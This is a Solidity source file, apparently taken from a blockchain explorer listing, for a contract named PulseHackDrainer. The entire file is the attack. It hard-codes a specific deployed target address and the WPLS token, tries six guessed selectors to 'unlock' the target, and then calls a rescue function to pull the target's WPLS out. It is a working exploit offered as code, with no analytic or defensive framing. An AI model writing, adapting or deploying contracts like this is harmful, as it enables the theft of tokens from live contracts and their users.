Address

• Drainer.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PulseHackDrainer {
    address public constant TARGET = 0xC561A5a6621C19386307b0fD09b92837A517b192;
    address public constant WPLS  = 0xA1077a294dDE1B09bB078844df40758a5D0f9a27;

    event Log(string msg, bool success, bytes data);

    // Try to unlock + drain in one tx
    function unlockAndDrain() external {
        // Step 1: Try all common public unlock / start functions (no params)
        bytes4[6] memory unlocks = [
            bytes4(0x3850c7bd), 0x1ad8b03b, 0x252c09d7,
            0x128acb08, 0x3c8a7d8d, 0x490e6cbc
        ];
        for (uint i = 0; i < unlocks.length; i++) {
            (bool s, bytes memory d) = TARGET.call(abi.encodeWithSelector(unlocks[i]));
            emit Log("Unlock attempt", s, d);
        }

        // Step 2: Rescue with the real selector
        (bool success, bytes memory data) = TARGET.call(
            abi.encodeWithSelector(0x4f1eb3d8, WPLS)
        );
        emit Log("rescueERC20 result", success, data);
        require(success, "Final rescue failed");
    }
}